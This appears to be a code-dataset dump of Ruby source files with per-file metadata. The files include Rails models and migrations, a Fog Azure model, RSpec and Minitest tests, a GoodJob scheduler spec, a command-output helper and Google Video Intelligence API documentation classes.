hexsha
stringlengths
40
40
size
int64
2
1.01M
content
stringlengths
2
1.01M
avg_line_length
float64
1.5
100
max_line_length
int64
2
1k
alphanum_fraction
float64
0.25
1
39725585c7e88e0954a274c2cfbafdbff2b7e8ec
867
class User < ActiveRecord::Base has_many :user_profiles has_many :events, foreign_key: "organizer_id" has_one :user_detail after_create -> { create_user_detail } accepts_nested_attributes_for :user_detail delegate :name, :to => :user_detail def create_event(params) events.create(params) end def self.find_or_create_by_auth_hash(auth_hash) lookup_user_from_auth_hash(auth_hash) || create_user_from_auth_hash(auth_hash) end def self.lookup_user_from_auth_hash(auth_hash) UserProfile.lookup_user(auth_hash[:provider], auth_hash[:uid]) end def self.create_user_from_auth_hash(auth_hash) provider = auth_hash[:provider] uid = auth_hash[:uid] username = auth_hash[:info][:email] User.create(username: username).tap do |new_user| new_user.user_profiles.create provider: provider, uid: uid end end end
27.09375
82
0.755479
b99ac0e436ce1dfb0e09284b2dbb21c32b883273
628
# This migration comes from tabo (originally 20150724134658) class CreateFriendlyIdSlugs < ActiveRecord::Migration def change create_table :friendly_id_slugs do |t| t.string :slug, :null => false t.integer :sluggable_id, :null => false t.string :sluggable_type, :limit => 50 t.string :scope t.datetime :created_at end add_index :friendly_id_slugs, :sluggable_id add_index :friendly_id_slugs, [:slug, :sluggable_type] add_index :friendly_id_slugs, [:slug, :sluggable_type, :scope], :unique => true add_index :friendly_id_slugs, :sluggable_type end end
36.941176
83
0.694268
627806bf8e871f024279755d3402ac45d9fa3691
1,157
module Fog module ApplicationGateway class AzureRM # URL Path Map model class for Application Gateway Service class UrlPathMap < Fog::Model identity :name attribute :id attribute :default_backend_address_pool_id attribute :default_backend_http_settings_id attribute :path_rules def self.parse(url_path_map) hash = {} hash['id'] = url_path_map.id hash['name'] = url_path_map.name hash['default_backend_address_pool_id'] = url_path_map.default_backend_address_pool.id unless url_path_map.default_backend_address_pool.nil? hash['default_backend_http_settings_id'] = url_path_map.default_backend_http_settings.id unless url_path_map.default_backend_http_settings.nil? path_rules = url_path_map.path_rules hash['path_rules'] = [] path_rules.each do |rule| path_rule = Fog::Network::AzureRM::PathRule.new hash['path_rules'] << path_rule.merge_attributes(Fog::Network::AzureRM::PathRule.parse(rule)) end unless path_rules.nil? hash end end end end end
37.322581
153
0.67675
01d0176b8f71cc42b64e313a44eb22923424f9db
533
require 'spec_helper' describe 'Word Count Enrichment' do it 'should enrich the item with the items wordcount' do item = Consummo::SimpleItem.new(content: "One Two Three") sut = Consummo::WordCountEnricher.new expect(sut.enrich(item)).to eq({:word_count => 3}) end context 'when there is no content' do it 'the word count should be 0' do item = Consummo::SimpleItem.new(content: nil) sut = Consummo::WordCountEnricher.new expect(sut.enrich(item)).to eq({:word_count => 0}) end end end
29.611111
61
0.684803
115b633414a1d9a90ed62d2fbf096288c9f75a5d
1,248
class Team < ActiveRecord::Base ADMINS = 'admins' DTO_NONE = 0b000 DTO_DESIGN = 0b100 DTO_TRANSITION = 0b010 DTO_OPERATIONS = 0b001 DTO_ALL = 0b111 CLOUD_SERVICES = 0b100 CLOUD_COMPLIANCE = 0b010 CLOUD_SUPPORT = 0b001 CLOUD_ALL = 0b111 belongs_to :organization has_and_belongs_to_many :users has_and_belongs_to_many :groups has_many :group_users, :through => :groups, :source => :users has_and_belongs_to_many :ci_proxies has_many :team_users validates_presence_of :name validates_uniqueness_of :name, :scope => :organization_id validates_each :name do |r, attr, value| r.errors.add(:name, "of '#{ADMINS}' team can not be changed.") if r.changes[:name] && r.changes[:name].first == ADMINS end before_update {!(changes[:name] && changes[:name].first == ADMINS)} def self.calculate_dto_permissions(design, transition, operations) (design ? Team::DTO_DESIGN : 0) + (transition ? Team::DTO_TRANSITION : 0) + (operations ? Team::DTO_OPERATIONS : 0) end def self.calculate_cloud_permissions(services, compliance, support) (services ? Team::CLOUD_SERVICES: 0) + (compliance ? Team::CLOUD_COMPLIANCE : 0) + (support ? Team::CLOUD_SUPPORT : 0) end end
32
124
0.702724
b9cb590eea0c74b6bdc08d452e0a17023b333d83
1,307
module MobileDevicePool class IoStream class << self def redirect_command_output(cmd, &blk) begin output = IO.popen(cmd) while (line = output.gets) blk.call(line) end rescue Exception => e puts e.message puts e.backtrace.inspect end end def log_command_output_and_error(cmd) begin stdin, stdout, stderr, wait_thr = Open3.popen3(cmd) out, err = '', '' stdout.each_line {|line| out += line} stderr.each_line {|line| err += line} exit_status = wait_thr.value if exit_status.success? result = [true, {out: out, err: err}] else if exit_status.signaled? termsig = exit_status.termsig termsig = "Null" if termsig.nil? result = [false, {out: out, err: "Terminated because of an uncaught signal: #{termsig}"}] else result = [false, {out: out, err: err}] end end rescue Exception => e puts e.message puts e.backtrace.inspect ensure [stdin, stdout, stderr].each {|io| io.close} end result end end private_class_method :new end end
28.413043
103
0.523336
396d3dd18f08d2e068f691feded8cdf385e25181
876
#cagegory encoding: UTF-8 require 'helper/require_unit' describe Siba::InstalledPlugins do before do @cls = Siba::InstalledPlugins end it "should call all_installed" do @cls.all_installed.must_be_instance_of Hash @cls.all_installed.wont_be_empty end it "should call installed?" do @cls.installed?("source", "files").must_equal true @cls.installed?("source", "unknown").must_equal false end it "should return plugin path" do @cls.plugin_path("source", "files") end it "plugin_path should fail is plugin is not installed" do ->{@cls.plugin_path("source", "unknown")}.must_raise Siba::Error end it "should get gem name" do @cls.gem_name("source", "files").must_be_instance_of String end it "should call install_gem_message" do @cls.install_gem_message("source", "files").must_be_instance_of String end end
23.675676
74
0.715753
e20c08da4e352c900534c9b5fec4b972e616755c
2,243
require 'abstract_unit' class StarStarMimeController < ActionController::Base layout nil def index render end end class StarStarMimeControllerTest < ActionController::TestCase def test_javascript_with_format @request.accept = "text/javascript" get :index, format: 'js' assert_match "function addition(a,b){ return a+b; }", @response.body end def test_javascript_with_no_format @request.accept = "text/javascript" get :index assert_match "function addition(a,b){ return a+b; }", @response.body end def test_javascript_with_no_format_only_star_star @request.accept = "*/*" get :index assert_match "function addition(a,b){ return a+b; }", @response.body end end class AbstractPostController < ActionController::Base self.view_paths = File.dirname(__FILE__) + "/../../fixtures/post_test/" end # For testing layouts which are set automatically class PostController < AbstractPostController around_action :with_iphone def index respond_to(:html, :iphone, :js) end protected def with_iphone request.format = "iphone" if request.env["HTTP_ACCEPT"] == "text/iphone" yield end end class SuperPostController < PostController end class MimeControllerLayoutsTest < ActionController::TestCase tests PostController def setup super @request.host = "www.example.com" Mime::Type.register_alias("text/html", :iphone) end def teardown super Mime::Type.unregister(:iphone) end def test_missing_layout_renders_properly get :index assert_equal '<html><div id="html">Hello Firefox</div></html>', @response.body @request.accept = "text/iphone" get :index assert_equal 'Hello iPhone', @response.body end def test_format_with_inherited_layouts @controller = SuperPostController.new get :index assert_equal '<html><div id="html">Super Firefox</div></html>', @response.body @request.accept = "text/iphone" get :index assert_equal '<html><div id="super_iphone">Super iPhone</div></html>', @response.body end def test_non_navigational_format_with_no_template_fallbacks_to_html_template_with_no_layout get :index, format: :js assert_equal "Hello Firefox", @response.body end end
24.11828
93
0.727151
ac47e233ad6002a401f808de8b3ad7f103de39b8
100
CfhighlanderTemplate do Name 'c1' Parameters do ComponentParam 'bubbleParam' end end
8.333333
32
0.71
394eff733144c857ba1863c055375466e50f1ee2
5,349
# frozen_string_literal: true require 'rails_helper' RSpec.describe GoodJob::Scheduler do let(:performer) { instance_double(GoodJob::JobPerformer, next: nil, name: '', next_at: []) } after do described_class.instances.each(&:shutdown) end context 'when thread error' do let(:error_proc) { double("Error Collector", call: nil) } # rubocop:disable RSpec/VerifiedDoubles before do allow(GoodJob).to receive(:on_thread_error).and_return(error_proc) stub_const 'THREAD_HAS_RUN', Concurrent::AtomicBoolean.new(false) stub_const 'ERROR_TRIGGERED', Concurrent::AtomicBoolean.new(false) end context 'when on task thread' do it 'calls GoodJob.on_thread_error for thread errors' do allow(performer).to receive(:next) do THREAD_HAS_RUN.make_true raise "Whoops" end allow(error_proc).to receive(:call) do ERROR_TRIGGERED.make_true end scheduler = described_class.new(performer) scheduler.create_thread sleep_until { THREAD_HAS_RUN.true? } sleep_until { ERROR_TRIGGERED.true? } expect(error_proc).to have_received(:call).with(an_instance_of(RuntimeError).and(having_attributes(message: 'Whoops'))) scheduler.shutdown end it 'calls GoodJob.on_thread_error for unhandled_errors' do allow(performer).to receive(:next) do THREAD_HAS_RUN.make_true GoodJob::ExecutionResult.new(value: nil, unhandled_error: StandardError.new("oopsy")) end allow(error_proc).to receive(:call) do ERROR_TRIGGERED.make_true end scheduler = described_class.new(performer) scheduler.create_thread sleep_until { THREAD_HAS_RUN.true? } sleep_until { ERROR_TRIGGERED.true? } expect(error_proc).to have_received(:call).with(an_instance_of(StandardError).and(having_attributes(message: 'oopsy'))).at_least(:once) end end end describe '.instances' do it 'contains all registered instances' do scheduler = nil expect do scheduler = described_class.new(performer) end.to change { described_class.instances.size }.by(1) expect(described_class.instances).to include scheduler end end describe '#shutdown' do it 'shuts down the theadpools' do scheduler = described_class.new(performer) expect { scheduler.shutdown } .to change(scheduler, :running?).from(true).to(false) end end describe '#restart' do it 'restarts the threadpools' do scheduler = described_class.new(performer) scheduler.shutdown expect { scheduler.restart } .to change(scheduler, :running?).from(false).to(true) end end describe '#create_thread' do # The JRuby version of the ThreadPoolExecutor sometimes does not immediately # create a thread, which causes this test to flake on JRuby. it 'returns false if there are no threads available', skip_if_java: true do configuration = GoodJob::Configuration.new({ queues: 'mice:1' }) scheduler = described_class.from_configuration(configuration) scheduler.create_thread(queue_name: 'mice') expect(scheduler.create_thread(queue_name: 'mice')).to eq nil end it 'returns true if the state matches the performer' do configuration = GoodJob::Configuration.new({ queues: 'mice:2' }) scheduler = described_class.from_configuration(configuration) expect(scheduler.create_thread(queue_name: 'mice')).to eq true end it 'returns false if the state does not match the performer' do configuration = GoodJob::Configuration.new({ queues: 'mice:2' }) scheduler = described_class.from_configuration(configuration) expect(scheduler.create_thread(queue_name: 'elephant')).to eq false end end describe '#stats' do it 'contains information about the scheduler' do max_threads = 7 max_cache = 13 scheduler = described_class.new(performer, max_threads: max_threads, max_cache: max_cache) expect(scheduler.stats).to eq({ name: performer.name, max_threads: max_threads, active_threads: 0, available_threads: max_threads, max_cache: max_cache, active_cache: 0, available_cache: max_cache, }) end end describe '.from_configuration' do describe 'multi-scheduling' do it 'instantiates multiple schedulers' do configuration = GoodJob::Configuration.new({ queues: '*:1;mice,ferrets:2;elephant:4' }) multi_scheduler = described_class.from_configuration(configuration) all_scheduler, rodents_scheduler, elephants_scheduler = multi_scheduler.schedulers expect(all_scheduler.stats).to include( name: '*', max_threads: 1 ) expect(rodents_scheduler.stats).to include( name: 'mice,ferrets', max_threads: 2 ) expect(elephants_scheduler.stats).to include( name: 'elephant', max_threads: 4 ) end end end end
33.223602
143
0.647598
acce2f5a9072e1b2307c244c073233f5a071ac34
143
class ApplicationController < ActionController::Base protect_from_forgery with: :exception def hello render html: "hello,world" end end
14.3
52
0.79021
ff5001cd348cdce6449d799f8258d3b13ab6a14a
1,312
# frozen_string_literal: true require 'test_helper' module SexpExamples def self.included(base) base.let(:sexp_with_initialize) { parse_file('road_bike.rb') } base.let(:sexp_without_initialize) do RubyParser.new.parse(<<~EMPTY_CLASS_DEFINITION) class Scooter end EMPTY_CLASS_DEFINITION end end end describe 'SexpCliTools::Matchers::MethodImplementation.satisfy?' do subject { SexpCliTools::Matchers::MethodImplementation } include SexpExamples it 'is satisfied by a ruby file which implements initialize' do _(subject.satisfy?(sexp_with_initialize, 'initialize')).must_equal true end it 'is not satisfied by a ruby file without an implementation of initialize' do _(subject.satisfy?(sexp_without_initialize, 'initialize')).must_equal false end end describe 'SexpCliTools::Matchers::MethodImplementation#satisfy?(sexp)' do subject { SexpCliTools::Matchers::MethodImplementation.new(target_method) } let(:target_method) { :initialize } include SexpExamples it 'is satisfied by a ruby file which implements initialize' do _(subject).must_be :satisfy?, sexp_with_initialize end it 'is not satisfied by a ruby file without an implementation of initialize' do _(subject).wont_be :satisfy?, sexp_without_initialize end end
29.155556
81
0.758384
4a2631910a2a99095058803cdedaba965bacb958
94
module Socialite class Identity < ActiveRecord::Base include Models::Identity end end
15.666667
37
0.755319
01f6a78c8ae21134d10713f7eb19b24d2120ad1e
25,629
# Copyright 2019 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. module Google module Cloud module Videointelligence module V1 # Video annotation request. # @!attribute [rw] input_uri # @return [String] # Input video location. Currently, only # [Google Cloud Storage](https://cloud.google.com/storage/) URIs are # supported, which must be specified in the following format: # `gs://bucket-id/object-id` (other URI formats return # {Google::Rpc::Code::INVALID_ARGUMENT}). For more information, see # [Request URIs](https://cloud.google.com/storage/docs/reference-uris). # A video URI may include wildcards in `object-id`, and thus identify # multiple videos. Supported wildcards: '*' to match 0 or more characters; # '?' to match 1 character. If unset, the input video should be embedded # in the request as `input_content`. If set, `input_content` should be unset. # @!attribute [rw] input_content # @return [String] # The video data bytes. # If unset, the input video(s) should be specified via `input_uri`. # If set, `input_uri` should be unset. # @!attribute [rw] features # @return [Array<Google::Cloud::Videointelligence::V1::Feature>] # Requested video annotation features. # @!attribute [rw] video_context # @return [Google::Cloud::Videointelligence::V1::VideoContext] # Additional video context and/or feature-specific parameters. # @!attribute [rw] output_uri # @return [String] # Optional location where the output (in JSON format) should be stored. # Currently, only [Google Cloud Storage](https://cloud.google.com/storage/) # URIs are supported, which must be specified in the following format: # `gs://bucket-id/object-id` (other URI formats return # {Google::Rpc::Code::INVALID_ARGUMENT}). For more information, see # [Request URIs](https://cloud.google.com/storage/docs/reference-uris). # @!attribute [rw] location_id # @return [String] # Optional cloud region where annotation should take place. Supported cloud # regions: `us-east1`, `us-west1`, `europe-west1`, `asia-east1`. If no region # is specified, a region will be determined based on video file location. class AnnotateVideoRequest; end # Video context and/or feature-specific parameters. # @!attribute [rw] segments # @return [Array<Google::Cloud::Videointelligence::V1::VideoSegment>] # Video segments to annotate. The segments may overlap and are not required # to be contiguous or span the whole video. If unspecified, each video is # treated as a single segment. # @!attribute [rw] label_detection_config # @return [Google::Cloud::Videointelligence::V1::LabelDetectionConfig] # Config for LABEL_DETECTION. # @!attribute [rw] shot_change_detection_config # @return [Google::Cloud::Videointelligence::V1::ShotChangeDetectionConfig] # Config for SHOT_CHANGE_DETECTION. # @!attribute [rw] explicit_content_detection_config # @return [Google::Cloud::Videointelligence::V1::ExplicitContentDetectionConfig] # Config for EXPLICIT_CONTENT_DETECTION. # @!attribute [rw] face_detection_config # @return [Google::Cloud::Videointelligence::V1::FaceDetectionConfig] # Config for FACE_DETECTION. # @!attribute [rw] speech_transcription_config # @return [Google::Cloud::Videointelligence::V1::SpeechTranscriptionConfig] # Config for SPEECH_TRANSCRIPTION. class VideoContext; end # Config for LABEL_DETECTION. # @!attribute [rw] label_detection_mode # @return [Google::Cloud::Videointelligence::V1::LabelDetectionMode] # What labels should be detected with LABEL_DETECTION, in addition to # video-level labels or segment-level labels. # If unspecified, defaults to `SHOT_MODE`. # @!attribute [rw] stationary_camera # @return [true, false] # Whether the video has been shot from a stationary (i.e. non-moving) camera. # When set to true, might improve detection accuracy for moving objects. # Should be used with `SHOT_AND_FRAME_MODE` enabled. # @!attribute [rw] model # @return [String] # Model to use for label detection. # Supported values: "builtin/stable" (the default if unset) and # "builtin/latest". class LabelDetectionConfig; end # Config for SHOT_CHANGE_DETECTION. # @!attribute [rw] model # @return [String] # Model to use for shot change detection. # Supported values: "builtin/stable" (the default if unset) and # "builtin/latest". class ShotChangeDetectionConfig; end # Config for EXPLICIT_CONTENT_DETECTION. # @!attribute [rw] model # @return [String] # Model to use for explicit content detection. # Supported values: "builtin/stable" (the default if unset) and # "builtin/latest". class ExplicitContentDetectionConfig; end # Config for FACE_DETECTION. # @!attribute [rw] model # @return [String] # Model to use for face detection. # Supported values: "builtin/stable" (the default if unset) and # "builtin/latest". # @!attribute [rw] include_bounding_boxes # @return [true, false] # Whether bounding boxes be included in the face annotation output. class FaceDetectionConfig; end # Video segment. # @!attribute [rw] start_time_offset # @return [Google::Protobuf::Duration] # Time-offset, relative to the beginning of the video, # corresponding to the start of the segment (inclusive). # @!attribute [rw] end_time_offset # @return [Google::Protobuf::Duration] # Time-offset, relative to the beginning of the video, # corresponding to the end of the segment (inclusive). class VideoSegment; end # Video segment level annotation results for label detection. # @!attribute [rw] segment # @return [Google::Cloud::Videointelligence::V1::VideoSegment] # Video segment where a label was detected. # @!attribute [rw] confidence # @return [Float] # Confidence that the label is accurate. Range: [0, 1]. class LabelSegment; end # Video frame level annotation results for label detection. # @!attribute [rw] time_offset # @return [Google::Protobuf::Duration] # Time-offset, relative to the beginning of the video, corresponding to the # video frame for this location. # @!attribute [rw] confidence # @return [Float] # Confidence that the label is accurate. Range: [0, 1]. class LabelFrame; end # Detected entity from video analysis. # @!attribute [rw] entity_id # @return [String] # Opaque entity ID. Some IDs may be available in # [Google Knowledge Graph Search # API](https://developers.google.com/knowledge-graph/). # @!attribute [rw] description # @return [String] # Textual description, e.g. `Fixed-gear bicycle`. # @!attribute [rw] language_code # @return [String] # Language code for `description` in BCP-47 format. class Entity; end # Label annotation. # @!attribute [rw] entity # @return [Google::Cloud::Videointelligence::V1::Entity] # Detected entity. # @!attribute [rw] category_entities # @return [Array<Google::Cloud::Videointelligence::V1::Entity>] # Common categories for the detected entity. # E.g. when the label is `Terrier` the category is likely `dog`. And in some # cases there might be more than one categories e.g. `Terrier` could also be # a `pet`. # @!attribute [rw] segments # @return [Array<Google::Cloud::Videointelligence::V1::LabelSegment>] # All video segments where a label was detected. # @!attribute [rw] frames # @return [Array<Google::Cloud::Videointelligence::V1::LabelFrame>] # All video frames where a label was detected. class LabelAnnotation; end # Video frame level annotation results for explicit content. # @!attribute [rw] time_offset # @return [Google::Protobuf::Duration] # Time-offset, relative to the beginning of the video, corresponding to the # video frame for this location. # @!attribute [rw] pornography_likelihood # @return [Google::Cloud::Videointelligence::V1::Likelihood] # Likelihood of the pornography content.. class ExplicitContentFrame; end # Explicit content annotation (based on per-frame visual signals only). # If no explicit content has been detected in a frame, no annotations are # present for that frame. # @!attribute [rw] frames # @return [Array<Google::Cloud::Videointelligence::V1::ExplicitContentFrame>] # All video frames where explicit content was detected. class ExplicitContentAnnotation; end # Normalized bounding box. # The normalized vertex coordinates are relative to the original image. # Range: [0, 1]. # @!attribute [rw] left # @return [Float] # Left X coordinate. # @!attribute [rw] top # @return [Float] # Top Y coordinate. # @!attribute [rw] right # @return [Float] # Right X coordinate. # @!attribute [rw] bottom # @return [Float] # Bottom Y coordinate. class NormalizedBoundingBox; end # Video segment level annotation results for face detection. # @!attribute [rw] segment # @return [Google::Cloud::Videointelligence::V1::VideoSegment] # Video segment where a face was detected. class FaceSegment; end # Video frame level annotation results for face detection. # @!attribute [rw] normalized_bounding_boxes # @return [Array<Google::Cloud::Videointelligence::V1::NormalizedBoundingBox>] # Normalized Bounding boxes in a frame. # There can be more than one boxes if the same face is detected in multiple # locations within the current frame. # @!attribute [rw] time_offset # @return [Google::Protobuf::Duration] # Time-offset, relative to the beginning of the video, # corresponding to the video frame for this location. class FaceFrame; end # Face annotation. # @!attribute [rw] thumbnail # @return [String] # Thumbnail of a representative face view (in JPEG format). # @!attribute [rw] segments # @return [Array<Google::Cloud::Videointelligence::V1::FaceSegment>] # All video segments where a face was detected. # @!attribute [rw] frames # @return [Array<Google::Cloud::Videointelligence::V1::FaceFrame>] # All video frames where a face was detected. class FaceAnnotation; end # Annotation results for a single video. # @!attribute [rw] input_uri # @return [String] # Video file location in # [Google Cloud Storage](https://cloud.google.com/storage/). # @!attribute [rw] segment_label_annotations # @return [Array<Google::Cloud::Videointelligence::V1::LabelAnnotation>] # Label annotations on video level or user specified segment level. # There is exactly one element for each unique label. # @!attribute [rw] shot_label_annotations # @return [Array<Google::Cloud::Videointelligence::V1::LabelAnnotation>] # Label annotations on shot level. # There is exactly one element for each unique label. # @!attribute [rw] frame_label_annotations # @return [Array<Google::Cloud::Videointelligence::V1::LabelAnnotation>] # Label annotations on frame level. # There is exactly one element for each unique label. # @!attribute [rw] face_annotations # @return [Array<Google::Cloud::Videointelligence::V1::FaceAnnotation>] # Face annotations. There is exactly one element for each unique face. # @!attribute [rw] shot_annotations # @return [Array<Google::Cloud::Videointelligence::V1::VideoSegment>] # Shot annotations. Each shot is represented as a video segment. # @!attribute [rw] explicit_annotation # @return [Google::Cloud::Videointelligence::V1::ExplicitContentAnnotation] # Explicit content annotation. # @!attribute [rw] speech_transcriptions # @return [Array<Google::Cloud::Videointelligence::V1::SpeechTranscription>] # Speech transcription. # @!attribute [rw] error # @return [Google::Rpc::Status] # If set, indicates an error. Note that for a single `AnnotateVideoRequest` # some videos may succeed and some may fail. class VideoAnnotationResults; end # Video annotation response. Included in the `response` # field of the `Operation` returned by the `GetOperation` # call of the `google::longrunning::Operations` service. # @!attribute [rw] annotation_results # @return [Array<Google::Cloud::Videointelligence::V1::VideoAnnotationResults>] # Annotation results for all videos specified in `AnnotateVideoRequest`. class AnnotateVideoResponse; end # Annotation progress for a single video. # @!attribute [rw] input_uri # @return [String] # Video file location in # [Google Cloud Storage](https://cloud.google.com/storage/). # @!attribute [rw] progress_percent # @return [Integer] # Approximate percentage processed thus far. Guaranteed to be # 100 when fully processed. # @!attribute [rw] start_time # @return [Google::Protobuf::Timestamp] # Time when the request was received. # @!attribute [rw] update_time # @return [Google::Protobuf::Timestamp] # Time of the most recent update. class VideoAnnotationProgress; end # Video annotation progress. Included in the `metadata` # field of the `Operation` returned by the `GetOperation` # call of the `google::longrunning::Operations` service. # @!attribute [rw] annotation_progress # @return [Array<Google::Cloud::Videointelligence::V1::VideoAnnotationProgress>] # Progress metadata for all videos specified in `AnnotateVideoRequest`. class AnnotateVideoProgress; end # Config for SPEECH_TRANSCRIPTION. # @!attribute [rw] language_code # @return [String] # *Required* The language of the supplied audio as a # [BCP-47](https://www.rfc-editor.org/rfc/bcp/bcp47.txt) language tag. # Example: "en-US". # See [Language Support](https://cloud.google.com/speech/docs/languages) # for a list of the currently supported language codes. # @!attribute [rw] max_alternatives # @return [Integer] # *Optional* Maximum number of recognition hypotheses to be returned. # Specifically, the maximum number of `SpeechRecognitionAlternative` messages # within each `SpeechTranscription`. The server may return fewer than # `max_alternatives`. Valid values are `0`-`30`. A value of `0` or `1` will # return a maximum of one. If omitted, will return a maximum of one. # @!attribute [rw] filter_profanity # @return [true, false] # *Optional* If set to `true`, the server will attempt to filter out # profanities, replacing all but the initial character in each filtered word # with asterisks, e.g. "f***". If set to `false` or omitted, profanities # won't be filtered out. # @!attribute [rw] speech_contexts # @return [Array<Google::Cloud::Videointelligence::V1::SpeechContext>] # *Optional* A means to provide context to assist the speech recognition. # @!attribute [rw] enable_automatic_punctuation # @return [true, false] # *Optional* If 'true', adds punctuation to recognition result hypotheses. # This feature is only available in select languages. Setting this for # requests in other languages has no effect at all. The default 'false' value # does not add punctuation to result hypotheses. NOTE: "This is currently # offered as an experimental service, complimentary to all users. In the # future this may be exclusively available as a premium feature." # @!attribute [rw] audio_tracks # @return [Array<Integer>] # *Optional* For file formats, such as MXF or MKV, supporting multiple audio # tracks, specify up to two tracks. Default: track 0. # @!attribute [rw] enable_speaker_diarization # @return [true, false] # *Optional* If 'true', enables speaker detection for each recognized word in # the top alternative of the recognition result using a speaker_tag provided # in the WordInfo. # Note: When this is true, we send all the words from the beginning of the # audio for the top alternative in every consecutive responses. # This is done in order to improve our speaker tags as our models learn to # identify the speakers in the conversation over time. # @!attribute [rw] diarization_speaker_count # @return [Integer] # *Optional* # If set, specifies the estimated number of speakers in the conversation. # If not set, defaults to '2'. # Ignored unless enable_speaker_diarization is set to true. # @!attribute [rw] enable_word_confidence # @return [true, false] # *Optional* If `true`, the top result includes a list of words and the # confidence for those words. If `false`, no word-level confidence # information is returned. The default is `false`. class SpeechTranscriptionConfig; end # Provides "hints" to the speech recognizer to favor specific words and phrases # in the results. # @!attribute [rw] phrases # @return [Array<String>] # *Optional* A list of strings containing words and phrases "hints" so that # the speech recognition is more likely to recognize them. This can be used # to improve the accuracy for specific words and phrases, for example, if # specific commands are typically spoken by the user. This can also be used # to add additional words to the vocabulary of the recognizer. See # [usage limits](https://cloud.google.com/speech/limits#content). class SpeechContext; end # A speech recognition result corresponding to a portion of the audio. # @!attribute [rw] alternatives # @return [Array<Google::Cloud::Videointelligence::V1::SpeechRecognitionAlternative>] # May contain one or more recognition hypotheses (up to the maximum specified # in `max_alternatives`). These alternatives are ordered in terms of # accuracy, with the top (first) alternative being the most probable, as # ranked by the recognizer. # @!attribute [rw] language_code # @return [String] # Output only. The # [BCP-47](https://www.rfc-editor.org/rfc/bcp/bcp47.txt) language tag of the # language in this result. This language code was detected to have the most # likelihood of being spoken in the audio. class SpeechTranscription; end # Alternative hypotheses (a.k.a. n-best list). # @!attribute [rw] transcript # @return [String] # Transcript text representing the words that the user spoke. # @!attribute [rw] confidence # @return [Float] # The confidence estimate between 0.0 and 1.0. A higher number # indicates an estimated greater likelihood that the recognized words are # correct. This field is typically provided only for the top hypothesis, and # only for `is_final=true` results. Clients should not rely on the # `confidence` field as it is not guaranteed to be accurate or consistent. # The default of 0.0 is a sentinel value indicating `confidence` was not set. # @!attribute [rw] words # @return [Array<Google::Cloud::Videointelligence::V1::WordInfo>] # A list of word-specific information for each recognized word. class SpeechRecognitionAlternative; end # Word-specific information for recognized words. Word information is only # included in the response when certain request parameters are set, such # as `enable_word_time_offsets`. # @!attribute [rw] start_time # @return [Google::Protobuf::Duration] # Time offset relative to the beginning of the audio, and # corresponding to the start of the spoken word. This field is only set if # `enable_word_time_offsets=true` and only in the top hypothesis. This is an # experimental feature and the accuracy of the time offset can vary. # @!attribute [rw] end_time # @return [Google::Protobuf::Duration] # Time offset relative to the beginning of the audio, and # corresponding to the end of the spoken word. This field is only set if # `enable_word_time_offsets=true` and only in the top hypothesis. This is an # experimental feature and the accuracy of the time offset can vary. # @!attribute [rw] word # @return [String] # The word corresponding to this set of information. # @!attribute [rw] confidence # @return [Float] # Output only. The confidence estimate between 0.0 and 1.0. A higher number # indicates an estimated greater likelihood that the recognized words are # correct. This field is set only for the top alternative. # This field is not guaranteed to be accurate and users should not rely on it # to be always provided. # The default of 0.0 is a sentinel value indicating `confidence` was not set. # @!attribute [rw] speaker_tag # @return [Integer] # Output only. A distinct integer value is assigned for every speaker within # the audio. This field specifies which one of those speakers was detected to # have spoken this word. Value ranges from 1 up to diarization_speaker_count, # and is only set if speaker diarization is enabled. class WordInfo; end # Video annotation feature. module Feature # Unspecified. FEATURE_UNSPECIFIED = 0 # Label detection. Detect objects, such as dog or flower. LABEL_DETECTION = 1 # Shot change detection. SHOT_CHANGE_DETECTION = 2 # Explicit content detection. EXPLICIT_CONTENT_DETECTION = 3 # Human face detection and tracking. FACE_DETECTION = 4 # Speech transcription. SPEECH_TRANSCRIPTION = 6 end # Label detection mode. module LabelDetectionMode # Unspecified. LABEL_DETECTION_MODE_UNSPECIFIED = 0 # Detect shot-level labels. SHOT_MODE = 1 # Detect frame-level labels. FRAME_MODE = 2 # Detect both shot-level and frame-level labels. SHOT_AND_FRAME_MODE = 3 end # Bucketized representation of likelihood. module Likelihood # Unspecified likelihood. LIKELIHOOD_UNSPECIFIED = 0 # Very unlikely. VERY_UNLIKELY = 1 # Unlikely. UNLIKELY = 2 # Possible. POSSIBLE = 3 # Likely. LIKELY = 4 # Very likely. VERY_LIKELY = 5 end end end end end
49.572534
95
0.62441
4a40bf7cd61c4cd9141024c0b54c23a81f469ad5
288
ENV["RAILS_ENV"] = "test" require 'test/unit' require 'rubygems' gem 'rails', '>= 1.2.6' require 'active_support' require 'action_controller' require 'action_controller/test_process' require File.dirname(__FILE__) + '/../lib/filter_table' require File.dirname(__FILE__) + '/test_stubs.rb'
32
55
0.753472
91468dd231bdeeb92baaf20dd78f0d8db39f8804
46
module FinanceManager VERSION = '0.1.0' end
11.5
21
0.717391
bffa75922140012bac53b73cb3e79e157071c2c2
1,167
require 'spec_helper' module Bosh::Director module DeploymentPlan module Steps describe UnmountInstanceDisksStep do subject(:step) { UnmountInstanceDisksStep.new(instance) } let(:instance) { Models::Instance.make } let!(:vm) { Models::Vm.make(instance: instance, active: true) } let(:disk1) { Models::PersistentDisk.make(instance: instance, name: '') } let(:disk2) { Models::PersistentDisk.make(instance: instance, name: 'unmanaged') } let(:unmount_disk1) { instance_double(UnmountDiskStep) } let(:unmount_disk2) { instance_double(UnmountDiskStep) } before do allow(UnmountDiskStep).to receive(:new).with(disk1).and_return(unmount_disk1) allow(UnmountDiskStep).to receive(:new).with(disk2).and_return(unmount_disk2) end describe '#perform' do it 'unmounts managed, active persistent disk from instance model associated with instance plan' do expect(unmount_disk1).to receive(:perform).once expect(unmount_disk2).not_to receive(:perform) step.perform end end end end end end
35.363636
108
0.658955
33d60e3d021b0c06182f58f7d2bead38c2ece6c0
609
require_relative 'rails_api_auth_migration' class CreateLogins < RailsAPIAuthMigration def change create_table :logins, primary_key_options(:id) do |t| t.string :identification, null: false t.string :password_digest, null: true t.string :oauth2_token, null: false t.string :facebook_uid t.string :single_use_oauth2_token t.references :user, primary_key_options(:type) t.timestamps end end private def primary_key_options(option_name) RailsApiAuth.primary_key_type ? { option_name => RailsApiAuth.primary_key_type } : {} end end
23.423077
91
0.712644
1dd74295dacc56bc9a16e1fd17f58c07f9d815cc
8,655
